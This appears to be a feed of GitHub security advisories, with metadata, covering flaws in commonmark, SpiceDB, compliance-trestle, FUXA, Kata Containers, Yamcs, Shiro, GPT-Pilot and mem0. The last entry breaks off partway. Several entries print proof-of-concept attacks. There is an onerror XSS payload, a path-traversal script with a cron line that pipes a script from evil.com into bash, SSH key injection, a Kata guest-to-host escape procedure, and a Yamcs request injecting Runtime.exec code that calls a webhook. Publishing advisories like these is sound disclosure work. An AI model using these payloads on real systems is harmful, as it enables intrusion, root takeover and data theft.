GHSA-3527-qv2q-pfvx

CVE-2025-46734

league/commonmark contains a XSS vulnerability in Attributes extension

### Summary Cross-site scripting (XSS) vulnerability in the [Attributes extension](https://commonmark.thephpleague.com/extensions/attributes/) of the league/commonmark library (versions 1.5.0 through 2.6.x) allows remote attackers to insert malicious JavaScript calls into HTML. ### Details The league/commonmark library provides configuration options such as `html_input: 'strip'` and `allow_unsafe_links: false` to mitigate cross-site scripting (XSS) attacks by stripping raw HTML and disallowing unsafe links. However, when the Attributes Extension is enabled, it introduces a way for users to inject arbitrary HTML attributes into elements via Markdown syntax using curly braces. As a result, even with the secure configuration shown above, an attacker can inject dangerous attributes into applications using this extension via a payload such as: ```md ![](){onerror=alert(1)} ``` Which results in the following HTML: ```html <p><img onerror="alert(1)" src="" alt="" /></p> ``` Which causes the JS to execute immediately on page load. ### Patches Version 2.7.0 contains three changes to prevent this XSS attack vector: - All attributes starting with `on` are considered unsafe and blocked by default - [Support for an explicit allowlist of allowed HTML attributes](https://commonmark.thephpleague.com/2.7/extensions/attributes/#configuration) - Manually-added `href` and `src` attributes now respect the existing `allow_unsafe_links` configuration option ### Workarounds If upgrading is not feasible, please consider: - Disabling the `AttributesExtension` for untrusted users - [Filtering the rendered HTML through a library like HTMLPurifier](https://commonmark.thephpleague.com/security/#additional-filtering)

medium

2025-05-05 23:40:36+03:00

2026-05-28 13:01:30+03:00

['https://github.com/thephpleague/commonmark/security/advisories/GHSA-3527-qv2q-pfvx', 'https://github.com/thephpleague/commonmark/commit/f0d626cf05ad3e99e6db26ebcb9091b6cd1cd89b', 'https://nvd.nist.gov/vuln/detail/CVE-2025-46734', 'https://github.com/advisories/GHSA-3527-qv2q-pfvx']

[{'package': {'name': 'league/commonmark', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '2.7.0', 'vulnerable_version_range': '>= 1.5.0, < 2.7.0'}]

{'score': 6.4, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

48884f2c9c487de03b94388e74beb09bce4ce33b381a6182fa0bc7c745a3bb34

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-jf4f-rr2c-9m58

CVE-2026-40091

SpiceDB's SPICEDB_DATASTORE_CONN_URI is leaked on startup logs

### Impact When SpiceDB starts with log level `info`, the startup `"configuration"` log will include the full datastore DSN, including the plaintext password, inside `DatastoreConfig.URI`. ### Patches v1.51.1 ### Workarounds Change the log level to `warn` or `error`.

medium

2026-04-15 01:33:06+03:00

2026-05-28 10:56:29+03:00

['https://github.com/authzed/spicedb/security/advisories/GHSA-jf4f-rr2c-9m58', 'https://nvd.nist.gov/vuln/detail/CVE-2026-40091', 'https://github.com/authzed/spicedb/releases/tag/v1.51.1', 'https://github.com/advisories/GHSA-jf4f-rr2c-9m58']

[{'package': {'name': 'github.com/authzed/spicedb', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.51.1', 'vulnerable_version_range': '>= 1.49.0, <= 1.51.0'}]

{'score': 6.0, 'vector_string': 'CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N'}

[{'name': 'Insertion of Sensitive Information into Log File', 'cwe_id': 'CWE-532'}]

512960bbacebb29d17b54ad8d83186966a2c16a914b9c22e4b459ec927570aa4

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-g3vg-vx23-3858

CVE-2026-45725

compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

## Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem. **Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.) ## Affected Component **Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code ### cache.py:259-266 — HTTPSFetcher cache path construction ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) # ... if u.hostname is None: raise TrestleError(f'Cache request for {self._uri} requires hostname') https_cached_dir = self._trestle_cache_path / u.hostname # ❌ path_parent preserves ../ sequences from URL path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` ### cache.py:285-295 — Content written to traversed path ```python def _do_fetch(self) -> None: # ... response = requests.get(self._url, auth=auth, verify=verify, timeout=30) if response.status_code == 200: result = response.text # ❌ Attacker-controlled content self._cached_object_path.write_text(result) # ❌ Written to arbitrary path ``` ### cache.py:328-333 — SFTPFetcher (identical pattern) ```python class SFTPFetcher(FetcherBase): def __init__(self, ...): # Identical path construction — same vulnerability sftp_cached_dir = self._trestle_cache_path / u.hostname path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent sftp_cached_dir = sftp_cached_dir / path_parent sftp_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` **Root Cause:** 1. `urlparse("https://evil.com/../../../tmp/pwned.json").path` = `/../../../tmp/pwned.json` — preserves `../` 2. `pathlib.Path(u.path).parent` preserves traversal sequences 3. `cache_dir / hostname / "../../../../../../tmp"` resolves outside cache 4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories 5. `write_text(response.text)` writes attacker-controlled content to traversed path 6. **No `is_relative_to()` boundary check** on the resolved path ## Steps to Reproduce ### Prerequisites ```bash pip install compliance-trestle==4.0.2 ``` ### PoC: Malicious OSCAL Profile ```yaml # malicious_profile.yaml — arbitrary file write via cache traversal profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json" ``` ### PoC: Cache Path Traversal Simulation ```python #!/usr/bin/env python3 """PoC: Cache path traversal → arbitrary file write""" import os, re, tempfile, shutil from pathlib import Path from urllib.parse import urlparse # Simulate trestle cache behavior (cache.py:259-266) trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True) evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url) # Exact trestle code path cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name) print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}") # Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory! # Write attacker content attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}") # Cleanup os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root)) ``` **Expected:** Write confined to `.trestle/.cache/` directory **Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location) ## Remediation ### Fix for HTTPSFetcher (cache.py:259-266): ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) https_cached_dir = self._trestle_cache_path / u.hostname # ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.') https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1] # ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" ) ``` Same fix required for SFTPFetcher at lines 328-333. ## References - **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **CWE-73:** https://cwe.mitre.org/data/definitions/73.html - **compliance-trestle:** https://github.com/IBM/compliance-trestle ## Impact ### 1. Cron Job Injection → Remote Code Execution ```yaml # Profile that writes a cron job imports: - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor" ``` Attacker's server responds with: ``` * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash' ``` ### 2. SSH Authorized Keys Injection ```yaml imports: - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys" ``` Attacker's server responds with their SSH public key. ### 3. Config File Overwrite ```yaml imports: - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf" ``` ### 4. Python Path Hijacking Write malicious `.py` file to a location on `sys.path` for code execution on next import.

high

2026-05-28 01:57:37+03:00

2026-05-28 01:57:40+03:00

['https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858', 'https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0', 'https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3', 'https://github.com/advisories/GHSA-g3vg-vx23-3858']

[{'package': {'name': 'compliance-trestle', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '4.0.3', 'vulnerable_version_range': '>= 4.0.0, <= 4.0.2'}, {'package': {'name': 'compliance-trestle', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '3.12.2', 'vulnerable_version_range': '< 3.12.2'}]

{'score': None, 'vector_string': None}

[{'name': 'External Control of File Name or Path', 'cwe_id': 'CWE-73'}]

028c8fa2ceac4d0be98b6261394fa4335ae410fb02865779989c9a2936663d7d

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-q3w6-q3hc-c5x6

CVE-2026-47717

FUXA's Unauthenticated Project Data Disclosure Exposes Server-Side Scripts and Device Configurations

### Summary The GET /api/project endpoint exposes sensitive project configuration data to guest-context requests even when secureEnabled is enabled. ### Details File: `server/api/projects/index.js` ```javascript prjApp.get("/api/project", secureFnc, function(req, res) { const permission = checkGroupsFnc(req); runtime.project.getProject(req.userId, permission).then(result => { if (result) { res.json(result); } }); }); ``` The endpoint uses the `secureFnc` middleware, but this middleware calls `verifyToken` in `server/api/jwt-helper.js` which auto-generates a valid guest JWT when no token is provided (line 49-51): ```javascript if (!token) { token = getGuestToken(); } ``` The guest token is signed with the server's secret and passes verification. The handler then calls `getProject` which returns the full project data. The `_filterProjectPermission` function (line 924 of `server/runtime/project/index.js`) filters some UI elements for non-admin users, but it does not remove scripts, devices, alarms, or other sensitive configuration data. ### PoC **Environment** - FUXA v1.3.0-2773 (`frangoteam/fuxa:latest`) - `secureEnabled: true` with a random `secretCode` **Retrieve full project data without authentication:** ```bash curl -s http://192.168.32.129:1881/api/project ``` ```json { "scripts": [ { "id": "SCRIPT_ID", "name": "calculate" }, ] } ``` No authentication token, API key, or cookie was provided. The response includes: - **Server-side scripts**: full source code, IDs, names, execution mode, and permission levels. This reveals internal automation logic and sensitive project structure information that could assist further attacks against the deployed system. - **Device configurations**: and communication endpoint information may also be exposed depending on the deployed project configuration. - **HMI views**: the full SVG content and layout of every operator screen, including variable bindings that map UI elements to device tags. - **Alarm definitions**: alarm thresholds, conditions, and notification settings when configured. ### Impact The endpoint may expose sensitive project configuration data including script metadata, device connection information, HMI configuration, and alarm definitions. In industrial environments this information can assist further targeted attacks against the deployed system.

high

2026-05-28 01:51:18+03:00

2026-05-28 01:51:19+03:00

['https://github.com/frangoteam/FUXA/security/advisories/GHSA-q3w6-q3hc-c5x6', 'https://github.com/frangoteam/FUXA/releases/tag/v1.3.1', 'https://github.com/advisories/GHSA-q3w6-q3hc-c5x6']

[{'package': {'name': 'fuxa-server', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '1.3.1', 'vulnerable_version_range': '= 1.3.0'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}

[{'name': 'Insertion of Sensitive Information Into Sent Data', 'cwe_id': 'CWE-201'}]

2475e89374d1a3cfdad60f4ba355974c930bc98f755982e814badf554d84226f

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2gv2-cffp-j227

CVE-2026-47243

Kata guest escape: runtime-rs guest-root to host-root escape via virtiofs

### Summary In the runtime-rs standalone virtio-fs path, verified here with QEMU (and verified with Cloud Hypervisor too), Kata Containers runs host `virtiofsd` as root with: ``` --sandbox none --seccomp none ``` If an attacker has root-equivalent execution inside the Kata guest VM, they can send raw FUSE requests directly to the host `virtiofsd`. With the tested runtime-rs virtio-fs configuration, a raw `FUSE_SYMLINK` request whose new symlink name is an absolute host path is honored outside the virtio-fs shared directory. This lets guest root create host-root owned symlinks in sensitive host paths. The PoC created here will create symlinks in the host `/etc/cron.d` directory, causing host cron to execute a guest-controlled payload as host root. Impact: guest root can execute code as host root. ### Affected configuration The verified host used: ``` /opt/kata/share/defaults/kata-containers/runtime-rs/configuration-qemu-runtime-rs.toml rootless = false shared_fs = "virtio-fs" virtio_fs_daemon = "/opt/kata/libexec/virtiofsd" hypervisor_name = "qemu" debug_console_enabled = false ``` Pinned upstream references, using Kata Containers `main` commit `2ffd1538a296cff93a357bfba0dfca747480a1f8`: - runtime-rs standalone virtio-fs adds [`--sandbox none --seccomp none`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/crates/resource/src/share_fs/share_virtio_fs_standalone.rs#L82-L92) to the `virtiofsd` command line. - runtime-rs QEMU leaves rootless mode disabled by default: [`rootless = false`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/config/configuration-qemu-runtime-rs.toml.in#L31-L34). - The QEMU runtime-rs config template generates an installed config that uses standalone virtio-fs and points runtime-rs at the host `virtiofsd` binary: [`shared_fs` and `virtio_fs_daemon`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/config/configuration-qemu-runtime-rs.toml.in#L164-L171). - The runtime-rs Makefile resolves those placeholders to [`virtio-fs`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/Makefile#L496-L499) and [`$(LIBEXECDIR)/virtiofsd`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/Makefile#L184-L190). - runtime-rs selects the same standalone virtio-fs implementation whenever `shared_fs = "virtio-fs"`: [`ShareVirtioFsStandalone`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/crates/resource/src/share_fs/mod.rs#L158-L167). ### Details The guest kernel normally owns the virtio-fs client. A normal guest process will use filesystem syscalls, and the guest kernel will validate the paths, and only then does the kernel send FUSE messages to the host backend. An attacker with root-equivalent access inside the guest can bypass that guest virtio-fs client. They can access the virtio-fs PCI device, mmap the virtio PCI BAR, recover guest physical addresses from `/proc/self/pagemap`, and build their own virtqueue from userspace. That queue can submit attacker-built FUSE messages directly to host `virtiofsd`. The relevant primitive is `FUSE_SYMLINK`. An attacker can send a request whose body contains: ``` new symlink name: /etc/cron.d/kata-go-escape-cron-<pid> symlink target: /proc/<pid>/root/run/kata-containers/shared/sandboxes/<sid>/ro/passthrough/<sid>/rootfs/tmp/kata-go-escape-payload ``` The new symlink name is an absolute host path. `virtiofsd` should reject that request or force it to resolve below the configured `--shared-dir`. In the tested runtime-rs path, host-root unsandboxed `virtiofsd` accepts the absolute name, creating a real host symlink under `/etc/cron.d`. The attacker can make the symlink target resolve through `/proc/<pid>/root/...` for a live Kata runtime process whose mount namespace can see the guest-created payload. One matching runtime PID is enough. When the host cron reads `/etc/cron.d`, it follows the root-owned symlink, loads the guest-created crontab payload, and executes it as host root. ### PoC ```shell sudo timeout --foreground --kill-after=10s 600s ctr run --rm \ --runtime /opt/kata/runtime-rs/bin/containerd-shim-kata-v2 \ --runtime-config-path /opt/kata/share/defaults/kata-containers/runtime-rs/configuration-qemu-runtime-rs.toml \ --privileged \ --privileged-without-host-devices \ docker.io/library/kata-go-escape:local \ "$run_id" ``` The container is privileged only to model the post-escape condition where the attacker already has guest-root capabilities. It is not the vulnerability by itself. Inside the guest, the PoC: 1. Writes a cron payload to guest `/tmp/kata-go-escape-payload`. 2. Finds the virtio-fs PCI device in guest /sys. 3. Takes over a virtio-fs queue from userspace. 4. Sends `FUSE_INIT`. 5. Discovers the current runtime-rs sandbox under `passthrough/`. 6. Looks up `passthrough/<sid>/rootfs/tmp/kata-go-escape-payload`. 7. Sends raw `FUSE_SYMLINK` requests where the new symlink names are absolute host paths under `/etc/cron.d`. 8. Keeps the guest alive while host cron scans. Example log lines: ``` [guest] virtio-fs PCI device: /sys/devices/pci0000:00/0000:00:05.0 [res] sandbox_id=kata-go-escape-test-1778522686-1539 [res] lookup_path_error=0 path=passthrough/kata-go-escape-test-1778522686-1539/rootfs/tmp/kata-go-escape-payload nodeid=21 [spray] pid=1 err=-2 created_candidates=1 ``` `err=-2` is expected for the symlink spray. `virtiofsd` can return `ENOENT` after the side effect because its follow-up lookup is still relative to the export root. The host symlink creation has already happened. ### Impact The PoC proves guest-root to host-root command execution. Verified host proof: ``` /run/kata-go-escape.proof uid=0(root) gid=0(root) groups=0(root) Mon May 11 18:05:01 UTC 2026 ``` The proof file is written in host `/run` by host cron. It is not written by the guest process and not written by `virtiofsd`. An attacker who reaches guest root can therefore cross the Kata isolation boundary and execute commands as host root on affected runtime-rs virtio-fs deployments.

high

2026-05-28 01:50:01+03:00

2026-05-28 01:50:04+03:00

['https://github.com/kata-containers/kata-containers/security/advisories/GHSA-2gv2-cffp-j227', 'https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744', 'https://github.com/kata-containers/kata-containers/releases/tag/3.31.0', 'https://github.com/advisories/GHSA-2gv2-cffp-j227']

[{'package': {'name': 'github.com/kata-containers/kata-containers', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '0.0.0-20260519062212-ffa59ce3aa78', 'vulnerable_version_range': '< 0.0.0-20260519062212-ffa59ce3aa78'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", 'cwe_id': 'CWE-22'}, {'name': 'Absolute Path Traversal', 'cwe_id': 'CWE-36'}]

dc857c6d53e874de222b4276070800c26f1e945ad5bb159b084ff4111c2a83b9

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2g95-6x5q-xjwj

CVE-2026-46621

Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

### Summary A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system. ### Details The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands. ### PoC **Prerequisites:** 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included). 2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.* **Exploitation Steps:** 1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell). ```bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }' ``` *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).* 2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`). 3. The Yamcs server compiles the injected text into an executable script on the fly. 4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL. ### Impact It impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure. ### Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

critical

2026-05-28 01:49:25+03:00

2026-05-28 01:49:25+03:00

['https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj', 'https://github.com/advisories/GHSA-2g95-6x5q-xjwj']

[{'package': {'name': 'org.yamcs:yamcs-core', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '5.12.7', 'vulnerable_version_range': '< 5.12.7'}]

{'score': 9.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

8f16f21d8130dc0ed86eeb19f6ca5b5aa6e76bcd8fe7c65798a4c023276801fa

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-m8g6-vrr2-x7ff

CVE-2026-56130

"Remember me" cookie age is not verified on the server. This potentially allows an attacker to...

"Remember me" cookie age is not verified on the server. This potentially allows an attacker to intercept a valid cookie and reuse it indefinitely, even after the configured expiration time has passed. This issue affects all Apache Shiro versions from 1.2.4 through 2.x, and 3.0.0-alpha-1, only when RememberMe functionality is enabled. Upgrade to version 3.0.0 or later, which fixes the issue.

low

2026-06-25 12:31:23+03:00

2026-06-25 15:33:16+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-56130', 'https://lists.apache.org/thread/9k9b3bmlq516ylvf7cdp3dlrtdtmxbmo', 'http://www.openwall.com/lists/oss-security/2026/06/24/8', 'https://github.com/advisories/GHSA-m8g6-vrr2-x7ff']

[]

{'score': None, 'vector_string': None}

[{'name': 'Authentication Bypass by Capture-replay', 'cwe_id': 'CWE-294'}]

b73ab1b6a864c4047882d3b16966c7b4705732a32e652b563c809b68869c4da3

2026-06-25 13:40:59.945200+03:00

2026-06-26 04:55:01.214857+03:00

GHSA-m85w-whwh-qvfx

CVE-2026-31246

GPT-Pilot contains a command injection vulnerability in the Executor.run() method

GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process.

medium

2026-05-11 21:31:43+03:00

2026-05-28 01:48:49+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31246', 'https://github.com/Pythagora-io/gpt-pilot', 'https://www.notion.so/CVE-2026-31246-35d1e1393188812ea3c6c88ad28d3d57', 'https://github.com/advisories/GHSA-m85w-whwh-qvfx']

[{'package': {'name': 'gpt-pilot', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.0.10'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", 'cwe_id': 'CWE-78'}]

09891692e0822f901cfcc147fe7c9b45a779a50138d3b9d15048d89d4250f7b3

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-cgx8-qgvr-f7vf

CVE-2026-31245

mem0 server lacks authentication and authorization controls for its memory creation API endpoint

The mem0 1.0.0 server lacks authentication and authorization controls for its memory creation API endpoint (POST /memories). The endpoint allows unauthenticated users to submit arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated POST requests to create malicious or spoofed memory entries in the database, leading to unauthorized data injection and potential data pollution.

medium

2026-05-12 21:30:41+03:00

2026-05-28 01:46:54+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31245', 'https://github.com/mem0ai/mem0', 'https://www.notion.so/CVE-2026-31245-35d1e1393188810aab57ff9b49146b05', 'https://github.com/advisories/GHSA-cgx8-qgvr-f7vf']

[{'package': {'name': 'mem0ai', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 1.0.0'}]

{'score': 5.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N'}

[{'name': 'Missing Authentication for Critical Function', 'cwe_id': 'CWE-306'}]

43686f66f356c8e5e7df4f34a954e5605a2f154f2c34c2a9fb187f9fdb4418dd

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-gq6f-qwv9-rf4j

CVE-2026-31241

mem0 server lacks authentication and authorization controls for its memory deletion API endpoint

The mem0 1.0.0 server lacks authentication and authorization controls for its memory deletion API endpoint (DELETE /memories). The endpoint allows unauthenticated users to delete memory records by specifying arbitrary user identifiers (e.g., user_id, run_id, agent_id) in the request query parameters. A remote attacker can exploit this by sending unauthenticated DELETE requests to erase memory data for any user, leading to unauthorized data loss and denial of service.

medium

2026-05-12 21:30:41+03:00

2026-05-28 01:46:15+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31241', 'https://github.com/mem0ai/mem0', 'https://www.notion.so/CVE-2026-31241-35d1e139318881459ae5e6f0d7dc6f0f', 'https://github.com/advisories/GHSA-gq6f-qwv9-rf4j']

[{'package': {'name': 'mem0ai', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 1.0.0'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L'}

[{'name': 'Missing Authentication for Critical Function', 'cwe_id': 'CWE-306'}]

25d7ff4663af88b2d75280cf963bb87e840b21684c2b9763cea9ceaf31f823ac

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-vmwp-vh32-rj75

CVE-2026-46562

Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override

# Remote Code Execution via Mission Database algorithm override ## Summary The Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication. ## Details **Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java` ```java // L46-53 Nashorn engine obtained without a ClassFilter ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream() .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName()) && candidate.getNames().contains(language)) .findFirst().orElse(null); if (factory != null) { scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied } // L109 user-supplied algorithm text reaches eval() scriptEngine.eval(functionScript); ``` `NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, `Java.type("java.lang.Runtime").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM. The path from HTTP request to `eval` is: `MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`) → `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`) → 